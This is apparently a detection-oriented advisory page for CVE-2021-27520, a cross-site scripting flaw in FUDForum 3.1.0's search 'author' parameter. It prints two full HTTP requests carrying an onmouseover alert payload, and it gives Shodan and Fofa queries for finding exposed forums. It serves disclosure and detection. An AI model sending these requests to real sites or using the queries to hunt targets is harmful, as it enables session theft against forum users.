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CVE-2021-27520: FUDForum 3.1.0 - Cross-Site Scripting

TitleFUDForum 3.1.0 - Cross-Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to the latest version of FUDForum or apply the provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.01118
CVE IDCVE-2021-27520
CWE IDCWE-79
Shodan Queryhtml:"FUDforum"http.html:"fudforum"http.html:"powered by: fudforum"
Fofa Querybody="powered by: fudforum"body="fudforum"
Tags cve2021 cve packetstorm xss fuddorum edb intrusive fudforum vuln

🔍 Vulnerability Description

FUDForum 3.1.0 contains a cross-site scripting vulnerability. An attacker can inject JavaScript via index.php in the author parameter, thereby possibly stealing cookie-based authentication credentials and launching other attacks.

🌐 HTTP Request

GET /index.php?SQ=0&t=search&srch=38FJIQzry41qpnsjaWVM4wL8cyW&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /forum/index.php?SQ=0&t=search&srch=38FJIQzry41qpnsjaWVM4wL8cyW&btn_submit=Search&field=all&forum_limiter&attach=0&search_logic=AND&sort_order=REL&author=x"+onmouseover%3Dalert%28document.domain%29+x%3D%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27520.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-27520.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A